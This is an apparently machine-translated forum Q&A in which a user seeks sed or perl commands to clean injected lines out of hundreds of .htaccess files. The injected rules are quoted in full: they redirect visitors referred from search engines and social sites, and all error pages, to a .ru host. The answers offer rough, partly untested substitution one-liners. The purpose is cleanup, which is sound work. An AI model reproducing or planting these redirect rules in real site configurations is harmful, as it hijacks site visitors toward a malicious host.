使用sed从.htaccess中删除恶意链接

我有几百个.htaccess文件,我想从它们中删除一些mallicous行。 在顶部他们都有:

IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*) RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L] </IfModule> 

在底部:

 ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8 

我真的很迷茫,有人可以帮我吗? 🙁

我到目前为止:

 find . -name '.htaccess' -exec sed 'pasla-ghwoo' {} \; 

你想用什么来取代它? 我个人更喜欢这个Perl一行:

 perl -i.bak -p -e 's/find/replace/ig' .htaccess 

这将创build一个修改的备份文件并添加.bak扩展名。

这足以让你开始吗?

这是一个类似的sed eg ,,(未经testing,但!):

 sed -i 's/find/replace' 

-i是“到位”。